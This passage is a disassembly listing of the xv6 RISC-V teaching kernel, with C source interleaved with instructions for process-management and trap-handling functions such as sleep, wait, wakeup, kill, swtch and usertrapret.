ra,0xfffff 8000217e: 724080e7 jalr 1828(ra) # 8000189e <wakeup1> p->xstate = status; 80002182: 0349aa23 sw s4,52(s3) p->state = ZOMBIE; 80002186: 4791 li a5,4 80002188: 00f9ac23 sw a5,24(s3) release(&original_parent->lock); 8000218c: 8526 mv a0,s1 8000218e: fffff097 auipc ra,0xfffff 80002192: b36080e7 jalr -1226(ra) # 80000cc4 <release> sched(); 80002196: 00000097 auipc ra,0x0 8000219a: e38080e7 jalr -456(ra) # 80001fce <sched> panic("zombie exit"); 8000219e: 00006517 auipc a0,0x6 800021a2: 0ba50513 addi a0,a0,186 # 80008258 <digits+0x218> 800021a6: ffffe097 auipc ra,0xffffe 800021aa: 3a2080e7 jalr 930(ra) # 80000548 <panic> 00000000800021ae <yield>: { 800021ae: 1101 addi sp,sp,-32 800021b0: ec06 sd ra,24(sp) 800021b2: e822 sd s0,16(sp) 800021b4: e426 sd s1,8(sp) 800021b6: 1000 addi s0,sp,32 struct proc *p = myproc(); 800021b8: 00000097 auipc ra,0x0 800021bc: 826080e7 jalr -2010(ra) # 800019de <myproc> 800021c0: 84aa mv s1,a0 acquire(&p->lock); 800021c2: fffff097 auipc ra,0xfffff 800021c6: a4e080e7 jalr -1458(ra) # 80000c10 <acquire> p->state = RUNNABLE; 800021ca: 4789 li a5,2 800021cc: cc9c sw a5,24(s1) sched(); 800021ce: 00000097 auipc ra,0x0 800021d2: e00080e7 jalr -512(ra) # 80001fce <sched> release(&p->lock); 800021d6: 8526 mv a0,s1 800021d8: fffff097 auipc ra,0xfffff 800021dc: aec080e7 jalr -1300(ra) # 80000cc4 <release> } 800021e0: 60e2 ld ra,24(sp) 800021e2: 6442 ld s0,16(sp) 800021e4: 64a2 ld s1,8(sp) 800021e6: 6105 addi sp,sp,32 800021e8: 8082 ret 00000000800021ea <sleep>: { 800021ea: 7179 addi sp,sp,-48 800021ec: f406 sd ra,40(sp) 800021ee: f022 sd s0,32(sp) 800021f0: ec26 sd s1,24(sp) 800021f2: e84a sd s2,16(sp) 800021f4: e44e sd s3,8(sp) 800021f6: 1800 addi s0,sp,48 800021f8: 89aa mv s3,a0 800021fa: 892e mv s2,a1 struct proc *p = myproc(); 800021fc: fffff097 auipc ra,0xfffff 80002200: 7e2080e7 jalr 2018(ra) # 800019de <myproc> 80002204: 84aa mv s1,a0 if(lk != &p->lock){ //DOC: sleeplock0 80002206: 05250663 beq a0,s2,80002252 <sleep+0x68> acquire(&p->lock); //DOC: sleeplock1 8000220a: fffff097 auipc ra,0xfffff 8000220e: a06080e7 jalr -1530(ra) # 80000c10 <acquire> release(lk); 80002212: 854a mv a0,s2 80002214: fffff097 auipc ra,0xfffff 80002218: ab0080e7 jalr -1360(ra) # 80000cc4 <release> p->chan = chan; 8000221c: 0334b423 sd s3,40(s1) p->state = SLEEPING; 80002220: 4785 li a5,1 80002222: cc9c sw a5,24(s1) sched(); 80002224: 00000097 auipc ra,0x0 80002228: daa080e7 jalr -598(ra) # 80001fce <sched> p->chan = 0; 8000222c: 0204b423 sd zero,40(s1) release(&p->lock); 80002230: 8526 mv a0,s1 80002232: fffff097 auipc ra,0xfffff 80002236: a92080e7 jalr -1390(ra) # 80000cc4 <release> acquire(lk); 8000223a: 854a mv a0,s2 8000223c: fffff097 auipc ra,0xfffff 80002240: 9d4080e7 jalr -1580(ra) # 80000c10 <acquire> } 80002244: 70a2 ld ra,40(sp) 80002246: 7402 ld s0,32(sp) 80002248: 64e2 ld s1,24(sp) 8000224a: 6942 ld s2,16(sp) 8000224c: 69a2 ld s3,8(sp) 8000224e: 6145 addi sp,sp,48 80002250: 8082 ret p->chan = chan; 80002252: 03353423 sd s3,40(a0) p->state = SLEEPING; 80002256: 4785 li a5,1 80002258: cd1c sw a5,24(a0) sched(); 8000225a: 00000097 auipc ra,0x0 8000225e: d74080e7 jalr -652(ra) # 80001fce <sched> p->chan = 0; 80002262: 0204b423 sd zero,40(s1) if(lk != &p->lock){ 80002266: bff9 j 80002244 <sleep+0x5a> 0000000080002268 <wait>: { 80002268: 715d addi sp,sp,-80 8000226a: e486 sd ra,72(sp) 8000226c: e0a2 sd s0,64(sp) 8000226e: fc26 sd s1,56(sp) 80002270: f84a sd s2,48(sp) 80002272: f44e sd s3,40(sp) 80002274: f052 sd s4,32(sp) 80002276: ec56 sd s5,24(sp) 80002278: e85a sd s6,16(sp) 8000227a: e45e sd s7,8(sp) 8000227c: e062 sd s8,0(sp) 8000227e: 0880 addi s0,sp,80 80002280: 8b2a mv s6,a0 struct proc *p = myproc(); 80002282: fffff097 auipc ra,0xfffff 80002286: 75c080e7 jalr 1884(ra) # 800019de <myproc> 8000228a: 892a mv s2,a0 acquire(&p->lock); 8000228c: 8c2a mv s8,a0 8000228e: fffff097 auipc ra,0xfffff 80002292: 982080e7 jalr -1662(ra) # 80000c10 <acquire> havekids = 0; 80002296: 4b81 li s7,0 if(np->state == ZOMBIE){ 80002298: 4a11 li s4,4 for(np = proc; np < &proc[NPROC]; np++){ 8000229a: 00015997 auipc s3,0x15 8000229e: 4ce98993 addi s3,s3,1230 # 80017768 <tickslock> havekids = 1; 800022a2: 4a85 li s5,1 havekids = 0; 800022a4: 875e mv a4,s7 for(np = proc; np < &proc[NPROC]; np++){ 800022a6: 00010497 auipc s1,0x10 800022aa: ac248493 addi s1,s1,-1342 # 80011d68 <proc> 800022ae: a08d j 80002310 <wait+0xa8> pid = np->pid; 800022b0: 0384a983 lw s3,56(s1) if(addr != 0 && copyout(p->pagetable, addr, (char *)&np->xstate, 800022b4: 000b0e63 beqz s6,800022d0 <wait+0x68> 800022b8: 4691 li a3,4 800022ba: 03448613 addi a2,s1,52 800022be: 85da mv a1,s6 800022c0: 05093503 ld a0,80(s2) 800022c4: fffff097 auipc ra,0xfffff 800022c8: 40e080e7 jalr 1038(ra) # 800016d2 <copyout> 800022cc: 02054263 bltz a0,800022f0 <wait+0x88> freeproc(np); 800022d0: 8526 mv a0,s1 800022d2: 00000097 auipc ra,0x0 800022d6: 8be080e7 jalr -1858(ra) # 80001b90 <freeproc> release(&np->lock); 800022da: 8526 mv a0,s1 800022dc: fffff097 auipc ra,0xfffff 800022e0: 9e8080e7 jalr -1560(ra) # 80000cc4 <release> release(&p->lock); 800022e4: 854a mv a0,s2 800022e6: fffff097 auipc ra,0xfffff 800022ea: 9de080e7 jalr -1570(ra) # 80000cc4 <release> return pid; 800022ee: a8a9 j 80002348 <wait+0xe0> release(&np->lock); 800022f0: 8526 mv a0,s1 800022f2: fffff097 auipc ra,0xfffff 800022f6: 9d2080e7 jalr -1582(ra) # 80000cc4 <release> release(&p->lock); 800022fa: 854a mv a0,s2 800022fc: fffff097 auipc ra,0xfffff 80002300: 9c8080e7 jalr -1592(ra) # 80000cc4 <release> return -1; 80002304: 59fd li s3,-1 80002306: a089 j 80002348 <wait+0xe0> for(np = proc; np < &proc[NPROC]; np++){ 80002308: 16848493 addi s1,s1,360 8000230c: 03348463 beq s1,s3,80002334 <wait+0xcc> if(np->parent == p){ 80002310: 709c ld a5,32(s1) 80002312: ff279be3 bne a5,s2,80002308 <wait+0xa0> acquire(&np->lock); 80002316: 8526 mv a0,s1 80002318: fffff097 auipc ra,0xfffff 8000231c: 8f8080e7 jalr -1800(ra) # 80000c10 <acquire> if(np->state == ZOMBIE){ 80002320: 4c9c lw a5,24(s1) 80002322: f94787e3 beq a5,s4,800022b0 <wait+0x48> release(&np->lock); 80002326: 8526 mv a0,s1 80002328: fffff097 auipc ra,0xfffff 8000232c: 99c080e7 jalr -1636(ra) # 80000cc4 <release> havekids = 1; 80002330: 8756 mv a4,s5 80002332: bfd9 j 80002308 <wait+0xa0> if(!havekids || p->killed){ 80002334: c701 beqz a4,8000233c <wait+0xd4> 80002336: 03092783 lw a5,48(s2) 8000233a: c785 beqz a5,80002362 <wait+0xfa> release(&p->lock); 8000233c: 854a mv a0,s2 8000233e: fffff097 auipc ra,0xfffff 80002342: 986080e7 jalr -1658(ra) # 80000cc4 <release> return -1; 80002346: 59fd li s3,-1 } 80002348: 854e mv a0,s3 8000234a: 60a6 ld ra,72(sp) 8000234c: 6406 ld s0,64(sp) 8000234e: 74e2 ld s1,56(sp) 80002350: 7942 ld s2,48(sp) 80002352: 79a2 ld s3,40(sp) 80002354: 7a02 ld s4,32(sp) 80002356: 6ae2 ld s5,24(sp) 80002358: 6b42 ld s6,16(sp) 8000235a: 6ba2 ld s7,8(sp) 8000235c: 6c02 ld s8,0(sp) 8000235e: 6161 addi sp,sp,80 80002360: 8082 ret sleep(p, &p->lock); //DOC: wait-sleep 80002362: 85e2 mv a1,s8 80002364: 854a mv a0,s2 80002366: 00000097 auipc ra,0x0 8000236a: e84080e7 jalr -380(ra) # 800021ea <sleep> havekids = 0; 8000236e: bf1d j 800022a4 <wait+0x3c> 0000000080002370 <wakeup>: { 80002370: 7139 addi sp,sp,-64 80002372: fc06 sd ra,56(sp) 80002374: f822 sd s0,48(sp) 80002376: f426 sd s1,40(sp) 80002378: f04a sd s2,32(sp) 8000237a: ec4e sd s3,24(sp) 8000237c: e852 sd s4,16(sp) 8000237e: e456 sd s5,8(sp) 80002380: 0080 addi s0,sp,64 80002382: 8a2a mv s4,a0 for(p = proc; p < &proc[NPROC]; p++) { 80002384: 00010497 auipc s1,0x10 80002388: 9e448493 addi s1,s1,-1564 # 80011d68 <proc> if(p->state == SLEEPING && p->chan == chan) { 8000238c: 4985 li s3,1 p->state = RUNNABLE; 8000238e: 4a89 li s5,2 for(p = proc; p < &proc[NPROC]; p++) { 80002390: 00015917 auipc s2,0x15 80002394: 3d890913 addi s2,s2,984 # 80017768 <tickslock> 80002398: a821 j 800023b0 <wakeup+0x40> p->state = RUNNABLE; 8000239a: 0154ac23 sw s5,24(s1) release(&p->lock); 8000239e: 8526 mv a0,s1 800023a0: fffff097 auipc ra,0xfffff 800023a4: 924080e7 jalr -1756(ra) # 80000cc4 <release> for(p = proc; p < &proc[NPROC]; p++) { 800023a8: 16848493 addi s1,s1,360 800023ac: 01248e63 beq s1,s2,800023c8 <wakeup+0x58> acquire(&p->lock); 800023b0: 8526 mv a0,s1 800023b2: fffff097 auipc ra,0xfffff 800023b6: 85e080e7 jalr -1954(ra) # 80000c10 <acquire> if(p->state == SLEEPING && p->chan == chan) { 800023ba: 4c9c lw a5,24(s1) 800023bc: ff3791e3 bne a5,s3,8000239e <wakeup+0x2e> 800023c0: 749c ld a5,40(s1) 800023c2: fd479ee3 bne a5,s4,8000239e <wakeup+0x2e> 800023c6: bfd1 j 8000239a <wakeup+0x2a> } 800023c8: 70e2 ld ra,56(sp) 800023ca: 7442 ld s0,48(sp) 800023cc: 74a2 ld s1,40(sp) 800023ce: 7902 ld s2,32(sp) 800023d0: 69e2 ld s3,24(sp) 800023d2: 6a42 ld s4,16(sp) 800023d4: 6aa2 ld s5,8(sp) 800023d6: 6121 addi sp,sp,64 800023d8: 8082 ret 00000000800023da <kill>: // Kill the process with the given pid. // The victim won't exit until it tries to return // to user space (see usertrap() in trap.c). int kill(int pid) { 800023da: 7179 addi sp,sp,-48 800023dc: f406 sd ra,40(sp) 800023de: f022 sd s0,32(sp) 800023e0: ec26 sd s1,24(sp) 800023e2: e84a sd s2,16(sp) 800023e4: e44e sd s3,8(sp) 800023e6: 1800 addi s0,sp,48 800023e8: 892a mv s2,a0 struct proc *p; for(p = proc; p < &proc[NPROC]; p++){ 800023ea: 00010497 auipc s1,0x10 800023ee: 97e48493 addi s1,s1,-1666 # 80011d68 <proc> 800023f2: 00015997 auipc s3,0x15 800023f6: 37698993 addi s3,s3,886 # 80017768 <tickslock> acquire(&p->lock); 800023fa: 8526 mv a0,s1 800023fc: fffff097 auipc ra,0xfffff 80002400: 814080e7 jalr -2028(ra) # 80000c10 <acquire> if(p->pid == pid){ 80002404: 5c9c lw a5,56(s1) 80002406: 01278d63 beq a5,s2,80002420 <kill+0x46> p->state = RUNNABLE; } release(&p->lock); return 0; } release(&p->lock); 8000240a: 8526 mv a0,s1 8000240c: fffff097 auipc ra,0xfffff 80002410: 8b8080e7 jalr -1864(ra) # 80000cc4 <release> for(p = proc; p < &proc[NPROC]; p++){ 80002414: 16848493 addi s1,s1,360 80002418: ff3491e3 bne s1,s3,800023fa <kill+0x20> } return -1; 8000241c: 557d li a0,-1 8000241e: a829 j 80002438 <kill+0x5e> p->killed = 1; 80002420: 4785 li a5,1 80002422: d89c sw a5,48(s1) if(p->state == SLEEPING){ 80002424: 4c98 lw a4,24(s1) 80002426: 4785 li a5,1 80002428: 00f70f63 beq a4,a5,80002446 <kill+0x6c> release(&p->lock); 8000242c: 8526 mv a0,s1 8000242e: fffff097 auipc ra,0xfffff 80002432: 896080e7 jalr -1898(ra) # 80000cc4 <release> return 0; 80002436: 4501 li a0,0 } 80002438: 70a2 ld ra,40(sp) 8000243a: 7402 ld s0,32(sp) 8000243c: 64e2 ld s1,24(sp) 8000243e: 6942 ld s2,16(sp) 80002440: 69a2 ld s3,8(sp) 80002442: 6145 addi sp,sp,48 80002444: 8082 ret p->state = RUNNABLE; 80002446: 4789 li a5,2 80002448: cc9c sw a5,24(s1) 8000244a: b7cd j 8000242c <kill+0x52> 000000008000244c <either_copyout>: // Copy to either a user address, or kernel address, // depending on usr_dst. // Returns 0 on success, -1 on error. int either_copyout(int user_dst, uint64 dst, void *src, uint64 len) { 8000244c: 7179 addi sp,sp,-48 8000244e: f406 sd ra,40(sp) 80002450: f022 sd s0,32(sp) 80002452: ec26 sd s1,24(sp) 80002454: e84a sd s2,16(sp) 80002456: e44e sd s3,8(sp) 80002458: e052 sd s4,0(sp) 8000245a: 1800 addi s0,sp,48 8000245c: 84aa mv s1,a0 8000245e: 892e mv s2,a1 80002460: 89b2 mv s3,a2 80002462: 8a36 mv s4,a3 struct proc *p = myproc(); 80002464: fffff097 auipc ra,0xfffff 80002468: 57a080e7 jalr 1402(ra) # 800019de <myproc> if(user_dst){ 8000246c: c08d beqz s1,8000248e <either_copyout+0x42> return copyout(p->pagetable, dst, src, len); 8000246e: 86d2 mv a3,s4 80002470: 864e mv a2,s3 80002472: 85ca mv a1,s2 80002474: 6928 ld a0,80(a0) 80002476: fffff097 auipc ra,0xfffff 8000247a: 25c080e7 jalr 604(ra) # 800016d2 <copyout> } else { memmove((char *)dst, src, len); return 0; } } 8000247e: 70a2 ld ra,40(sp) 80002480: 7402 ld s0,32(sp) 80002482: 64e2 ld s1,24(sp) 80002484: 6942 ld s2,16(sp) 80002486: 69a2 ld s3,8(sp) 80002488: 6a02 ld s4,0(sp) 8000248a: 6145 addi sp,sp,48 8000248c: 8082 ret memmove((char *)dst, src, len); 8000248e: 000a061b sext.w a2,s4 80002492: 85ce mv a1,s3 80002494: 854a mv a0,s2 80002496: fffff097 auipc ra,0xfffff 8000249a: 8d6080e7 jalr -1834(ra) # 80000d6c <memmove> return 0; 8000249e: 8526 mv a0,s1 800024a0: bff9 j 8000247e <either_copyout+0x32> 00000000800024a2 <either_copyin>: // Copy from either a user address, or kernel address, // depending on usr_src. // Returns 0 on success, -1 on error. int either_copyin(void *dst, int user_src, uint64 src, uint64 len) { 800024a2: 7179 addi sp,sp,-48 800024a4: f406 sd ra,40(sp) 800024a6: f022 sd s0,32(sp) 800024a8: ec26 sd s1,24(sp) 800024aa: e84a sd s2,16(sp) 800024ac: e44e sd s3,8(sp) 800024ae: e052 sd s4,0(sp) 800024b0: 1800 addi s0,sp,48 800024b2: 892a mv s2,a0 800024b4: 84ae mv s1,a1 800024b6: 89b2 mv s3,a2 800024b8: 8a36 mv s4,a3 struct proc *p = myproc(); 800024ba: fffff097 auipc ra,0xfffff 800024be: 524080e7 jalr 1316(ra) # 800019de <myproc> if(user_src){ 800024c2: c08d beqz s1,800024e4 <either_copyin+0x42> return copyin(p->pagetable, dst, src, len); 800024c4: 86d2 mv a3,s4 800024c6: 864e mv a2,s3 800024c8: 85ca mv a1,s2 800024ca: 6928 ld a0,80(a0) 800024cc: fffff097 auipc ra,0xfffff 800024d0: 292080e7 jalr 658(ra) # 8000175e <copyin> } else { memmove(dst, (char*)src, len); return 0; } } 800024d4: 70a2 ld ra,40(sp) 800024d6: 7402 ld s0,32(sp) 800024d8: 64e2 ld s1,24(sp) 800024da: 6942 ld s2,16(sp) 800024dc: 69a2 ld s3,8(sp) 800024de: 6a02 ld s4,0(sp) 800024e0: 6145 addi sp,sp,48 800024e2: 8082 ret memmove(dst, (char*)src, len); 800024e4: 000a061b sext.w a2,s4 800024e8: 85ce mv a1,s3 800024ea: 854a mv a0,s2 800024ec: fffff097 auipc ra,0xfffff 800024f0: 880080e7 jalr -1920(ra) # 80000d6c <memmove> return 0; 800024f4: 8526 mv a0,s1 800024f6: bff9 j 800024d4 <either_copyin+0x32> 00000000800024f8 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 800024f8: 715d addi sp,sp,-80 800024fa: e486 sd ra,72(sp) 800024fc: e0a2 sd s0,64(sp) 800024fe: fc26 sd s1,56(sp) 80002500: f84a sd s2,48(sp) 80002502: f44e sd s3,40(sp) 80002504: f052 sd s4,32(sp) 80002506: ec56 sd s5,24(sp) 80002508: e85a sd s6,16(sp) 8000250a: e45e sd s7,8(sp) 8000250c: 0880 addi s0,sp,80 [ZOMBIE] "zombie" }; struct proc *p; char *state; printf("\n"); 8000250e: 00006517 auipc a0,0x6 80002512: bba50513 addi a0,a0,-1094 # 800080c8 <digits+0x88> 80002516: ffffe097 auipc ra,0xffffe 8000251a: 07c080e7 jalr 124(ra) # 80000592 <printf> for(p = proc; p < &proc[NPROC]; p++){ 8000251e: 00010497 auipc s1,0x10 80002522: 9a248493 addi s1,s1,-1630 # 80011ec0 <proc+0x158> 80002526: 00015917 auipc s2,0x15 8000252a: 39a90913 addi s2,s2,922 # 800178c0 <bcache+0x140> if(p->state == UNUSED) continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8000252e: 4b11 li s6,4 state = states[p->state]; else state = "???"; 80002530: 00006997 auipc s3,0x6 80002534: d3898993 addi s3,s3,-712 # 80008268 <digits+0x228> printf("%d %s %s", p->pid, state, p->name); 80002538: 00006a97 auipc s5,0x6 8000253c: d38a8a93 addi s5,s5,-712 # 80008270 <digits+0x230> printf("\n"); 80002540: 00006a17 auipc s4,0x6 80002544: b88a0a13 addi s4,s4,-1144 # 800080c8 <digits+0x88> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80002548: 00006b97 auipc s7,0x6 8000254c: d60b8b93 addi s7,s7,-672 # 800082a8 <states.1702> 80002550: a00d j 80002572 <procdump+0x7a> printf("%d %s %s", p->pid, state, p->name); 80002552: ee06a583 lw a1,-288(a3) 80002556: 8556 mv a0,s5 80002558: ffffe097 auipc ra,0xffffe 8000255c: 03a080e7 jalr 58(ra) # 80000592 <printf> printf("\n"); 80002560: 8552 mv a0,s4 80002562: ffffe097 auipc ra,0xffffe 80002566: 030080e7 jalr 48(ra) # 80000592 <printf> for(p = proc; p < &proc[NPROC]; p++){ 8000256a: 16848493 addi s1,s1,360 8000256e: 03248163 beq s1,s2,80002590 <procdump+0x98> if(p->state == UNUSED) 80002572: 86a6 mv a3,s1 80002574: ec04a783 lw a5,-320(s1) 80002578: dbed beqz a5,8000256a <procdump+0x72> state = "???"; 8000257a: 864e mv a2,s3 if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8000257c: fcfb6be3 bltu s6,a5,80002552 <procdump+0x5a> 80002580: 1782 slli a5,a5,0x20 80002582: 9381 srli a5,a5,0x20 80002584: 078e slli a5,a5,0x3 80002586: 97de add a5,a5,s7 80002588: 6390 ld a2,0(a5) 8000258a: f661 bnez a2,80002552 <procdump+0x5a> state = "???"; 8000258c: 864e mv a2,s3 8000258e: b7d1 j 80002552 <procdump+0x5a> } } 80002590: 60a6 ld ra,72(sp) 80002592: 6406 ld s0,64(sp) 80002594: 74e2 ld s1,56(sp) 80002596: 7942 ld s2,48(sp) 80002598: 79a2 ld s3,40(sp) 8000259a: 7a02 ld s4,32(sp) 8000259c: 6ae2 ld s5,24(sp) 8000259e: 6b42 ld s6,16(sp) 800025a0: 6ba2 ld s7,8(sp) 800025a2: 6161 addi sp,sp,80 800025a4: 8082 ret 00000000800025a6 <swtch>: 800025a6: 00153023 sd ra,0(a0) 800025aa: 00253423 sd sp,8(a0) 800025ae: e900 sd s0,16(a0) 800025b0: ed04 sd s1,24(a0) 800025b2: 03253023 sd s2,32(a0) 800025b6: 03353423 sd s3,40(a0) 800025ba: 03453823 sd s4,48(a0) 800025be: 03553c23 sd s5,56(a0) 800025c2: 05653023 sd s6,64(a0) 800025c6: 05753423 sd s7,72(a0) 800025ca: 05853823 sd s8,80(a0) 800025ce: 05953c23 sd s9,88(a0) 800025d2: 07a53023 sd s10,96(a0) 800025d6: 07b53423 sd s11,104(a0) 800025da: 0005b083 ld ra,0(a1) 800025de: 0085b103 ld sp,8(a1) 800025e2: 6980 ld s0,16(a1) 800025e4: 6d84 ld s1,24(a1) 800025e6: 0205b903 ld s2,32(a1) 800025ea: 0285b983 ld s3,40(a1) 800025ee: 0305ba03 ld s4,48(a1) 800025f2: 0385ba83 ld s5,56(a1) 800025f6: 0405bb03 ld s6,64(a1) 800025fa: 0485bb83 ld s7,72(a1) 800025fe: 0505bc03 ld s8,80(a1) 80002602: 0585bc83 ld s9,88(a1) 80002606: 0605bd03 ld s10,96(a1) 8000260a: 0685bd83 ld s11,104(a1) 8000260e: 8082 ret 0000000080002610 <trapinit>: extern int devintr(); void trapinit(void) { 80002610: 1141 addi sp,sp,-16 80002612: e406 sd ra,8(sp) 80002614: e022 sd s0,0(sp) 80002616: 0800 addi s0,sp,16 initlock(&tickslock, "time"); 80002618: 00006597 auipc a1,0x6 8000261c: cb858593 addi a1,a1,-840 # 800082d0 <states.1702+0x28> 80002620: 00015517 auipc a0,0x15 80002624: 14850513 addi a0,a0,328 # 80017768 <tickslock> 80002628: ffffe097 auipc ra,0xffffe 8000262c: 558080e7 jalr 1368(ra) # 80000b80 <initlock> } 80002630: 60a2 ld ra,8(sp) 80002632: 6402 ld s0,0(sp) 80002634: 0141 addi sp,sp,16 80002636: 8082 ret 0000000080002638 <trapinithart>: // set up to take exceptions and traps while in the kernel. void trapinithart(void) { 80002638: 1141 addi sp,sp,-16 8000263a: e422 sd s0,8(sp) 8000263c: 0800 addi s0,sp,16 asm volatile("csrw stvec, %0" : : "r" (x)); 8000263e: 00003797 auipc a5,0x3 80002642: 4c278793 addi a5,a5,1218 # 80005b00 <kernelvec> 80002646: 10579073 csrw stvec,a5 w_stvec((uint64)kernelvec); } 8000264a: 6422 ld s0,8(sp) 8000264c: 0141 addi sp,sp,16 8000264e: 8082 ret 0000000080002650 <usertrapret>: // // return to user space // void usertrapret(void) { 80002650: 1141 addi sp,sp,-16 80002652: e406 sd ra,8(sp) 80002654: e022 sd s0,0(sp) 80002656: 0800 addi s0,sp,16 struct proc *p = myproc(); 80002658: fffff097 auipc ra,0xfffff 8000265c: 386080e7 jalr 902(ra) # 800019de <myproc> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002660: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() & ~SSTATUS_SIE); 80002664: 9bf5 andi a5,a5,-3 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002666: 10079073 csrw sstatus,a5 // kerneltrap() to usertrap(), so turn off interrupts until // we're back in user space, where usertrap() is correct. intr_off(); // send syscalls, interrupts, and exceptions to trampoline.S w_stvec(TRAMPOLINE + (uservec - trampoline)); 8000266a: 00005617 auipc a2,0x5 8000266e: 99660613 addi a2,a2,-1642 # 80007000 <_trampoline> 80002672: 00005697 auipc a3,0x5 80002676: 98e68693 addi a3,a3,-1650 # 80007000 <_trampoline> 8000267a: 8e91 sub a3,a3,a2 8000267c: 040007b7 lui a5,0x4000 80002680: 17fd addi a5,a5,-1 80002682: 07b2 slli a5,a5,0xc 80002684: 96be add a3,a3,a5 asm volatile("csrw stvec, %0" : : "r" (x)); 80002686: 10569073 csrw stvec,a3 // set up trapframe values that uservec will need when // the process next re-enters the kernel. p->trapframe->kernel_satp = r_satp(); // kernel page table 8000268a: 6d38 ld a4,88(a0) asm volatile("csrr %0, satp" : "=r" (x) ); 8000268c: 180026f3 csrr a3,satp 80002690: e314 sd a3,0(a4) p->trapframe->kernel_sp = p->kstack + PGSIZE; // process's kernel stack 80002692: 6d38 ld a4,88(a0) 80002694: 6134 ld a3,64(a0) 80002696: 6585 lui a1,0x1 80002698: 96ae add a3,a3,a1 8000269a: e714 sd a3,8(a4) p->trapframe->kernel_trap = (uint64)usertrap; 8000269c: 6d38 ld a4,88(a0) 8000269e: 00000697 auipc a3,0x0 800026a2: 13868693 addi a3,a3,312 # 800027d6 <usertrap> 800026a6: eb14 sd a3,16(a4) p->trapframe->kernel_hartid = r_tp(); // hartid for cpuid() 800026a8: 6d38 ld a4,88(a0) asm volatile("mv %0, tp" : "=r" (x) ); 800026aa: 8692 mv a3,tp 800026ac: f314 sd a3,32(a4) asm volatile("csrr %0, sstatus" : "=r" (x) ); 800026ae: 100026f3 csrr a3,sstatus // set up the registers that trampoline.S's sret will use // to get to user space. // set S Previous Privilege mode to User. unsigned long x = r_sstatus(); x &= ~SSTATUS_SPP; // clear SPP to 0 for user mode 800026b2: eff6f693 andi a3,a3,-257 x |= SSTATUS_SPIE; // enable interrupts in user mode 800026b6: 0206e693 ori a3,a3,32 asm volatile("csrw sstatus, %0" : : "r" (x)); 800026ba: 10069073 csrw sstatus,a3 w_sstatus(x); // set S Exception Program Counter to the saved user pc. w_sepc(p->trapframe->epc); 800026be: 6d38 ld a4,88(a0) asm volatile("csrw sepc, %0" : : "r" (x)); 800026c0: 6f18 ld a4,24(a4) 800026c2: 14171073 csrw sepc,a4 // tell trampoline.S the user page table to switch to. uint64 satp = MAKE_SATP(p->pagetable); 800026c6: 692c ld a1,80(a0) 800026c8: 81b1 srli a1,a1,0xc // jump to trampoline.S at the top of memory, which // switches to the user page table, restores user registers, // and switches to user mode with sret. uint64 fn = TRAMPOLINE + (userret - trampoline); 800026ca: 00005717 auipc a4,0x5 800026ce: 9c670713 addi a4,a4,-1594 # 80007090 <userret> 800026d2: 8f11 sub a4,a4,a2 800026d4: 97ba add a5,a5,a4 ((void (*)(uint64,uint64))fn)(TRAPFRAME, satp); 800026d6: 577d li a4,-1 800026d8: 177e slli a4,a4,0x3f 800026da: 8dd9 or a1,a1,a4 800026dc: 02000537 lui a0,0x2000 800026e0: 157d addi a0,a0,-1 800026e2: 0536 slli a0,a0,0xd 800026e4: 9782 jalr a5 } 800026e6: 60a2 ld ra,8(sp) 800026e8: 6402 ld s0,0(sp) 800026ea: 0141 addi sp,sp,16 800026ec: 8082 ret 00000000800026ee <clockintr>: w_sstatus(sstatus); } void clockintr() { 800026ee: 1101 addi sp,sp,-32 800026f0: ec06 sd ra,24(sp) 800026f2: e822 sd s0,16(sp) 800026f4: e426 sd s1,8(sp) 800026f6: 1000 addi s0,sp,32 acquire(&tickslock); 800026f8: 00015497 auipc s1,0x15 800026fc: 07048493 addi s1,s1,112 # 80017768 <tickslock> 80002700: 8526 mv a0,s1 80002702: ffffe097 auipc ra,0xffffe 80002706: 50e080e7 jalr 1294(ra) # 80000c10 <acquire> ticks++; 8000270a: 00007517 auipc a0,0x7 8000270e: 91650513 addi a0,a0,-1770 # 80009020 <ticks> 80002712: 411c lw a5,0(a0) 80002714: 2785 addiw a5,a5,1 80002716: c11c sw a5,0(a0) wakeup(&ticks); 80002718: 00000097 auipc ra,0x0 8000271c: c58080e7 jalr -936(ra) # 80002370 <wakeup> release(&tickslock); 80002720: 8526 mv a0,s1 80002722: ffffe097 auipc ra,0xffffe 80002726: 5a2080e7 jalr 1442(ra) # 80000cc4 <release> } 8000272a: 60e2 ld ra,24(sp) 8000272c: 6442 ld s0,16(sp) 8000272e: 64a2 ld s1,8(sp) 80002730: 6105 addi sp,sp,32 80002732: 8082 ret 0000000080002734 <devintr>: // returns 2 if timer interrupt, // 1 if other device, // 0 if not recognized. int devintr() { 80002734: 1101 addi sp,sp,-32 80002736: ec06 sd ra,24(sp) 80002738: e822 sd s0,16(sp) 8000273a: e426 sd s1,8(sp) 8000273c: 1000 addi s0,sp,32 asm volatile("csrr %0, scause" : "=r" (x) ); 8000273e: 14202773 csrr a4,scause uint64 scause = r_scause(); if((scause & 0x8000000000000000L) && 80002742: 00074d63 bltz a4,8000275c <devintr+0x28> // now allowed to interrupt again. if(irq) plic_complete(irq); return 1; } else if(scause == 0x8000000000000001L){ 80002746: 57fd li a5,-1 80002748: 17fe slli a5,a5,0x3f 8000274a: 0785 addi a5,a5,1 // the SSIP bit in sip. w_sip(r_sip() & ~2); return 2; } else { return 0; 8000274c: 4501 li a0,0 } else if(scause == 0x8000000000000001L){ 8000274e: 06f70363 beq a4,a5,800027b4 <devintr+0x80> } } 80002752: 60e2 ld ra,24(sp) 80002754: 6442 ld s0,16(sp) 80002756: 64a2 ld s1,8(sp) 80002758: 6105 addi sp,sp,32 8000275a: 8082 ret (scause & 0xff) == 9){ 8000275c: 0ff77793 andi a5,a4,255 if((scause & 0x8000000000000000L) && 80002760: 46a5 li a3,9 80002762: fed792e3 bne a5,a3,80002746 <devintr+0x12> int irq = plic_claim(); 80002766: 00003097 auipc ra,0x3 8000276a: 4a2080e7 jalr 1186(ra) # 80005c08 <plic_claim> 8000276e: 84aa mv s1,a0 if(irq == UART0_IRQ){ 80002770: 47a9 li a5,10 80002772: 02f50763 beq a0,a5,800027a0 <devintr+0x6c> } else if(irq == VIRTIO0_IRQ){ 80002776: 4785 li a5,1 80002778: 02f50963 beq a0,a5,800027aa 